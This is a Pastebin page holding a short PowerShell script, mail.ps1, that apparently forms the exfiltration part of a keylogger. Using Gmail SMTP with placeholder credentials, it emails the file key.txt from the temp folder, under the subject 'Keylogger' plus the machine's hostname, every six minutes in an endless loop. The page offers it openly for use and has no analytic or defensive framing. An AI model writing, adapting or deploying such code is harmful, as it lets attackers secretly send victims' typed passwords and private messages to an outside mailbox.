Guest User

mail.ps1

a guest
Aug 12th, 2017
22
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. $SMTPServer = 'smtp.gmail.com'
  2. $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  3. $SMTPInfo.EnableSsl = $true
  4. $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('VOTREADRESSE@gmail.com', 'VOTREPASSE')
  5. $ReportEmail = New-Object System.Net.Mail.MailMessage
  6. $ReportEmail.From = 'VOTREADRESSE@gmail.com'
  7. $ReportEmail.To.Add('VOTREADRESSE@gmail.com')
  8. $ReportEmail.Subject = 'Keylogger - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
  9. while(1){$ReportEmail.Attachments.Add("$ENV:temp\key.txt");$SMTPInfo.Send($ReportEmail);sleep 360}
Add Comment
Please, Sign In to add comment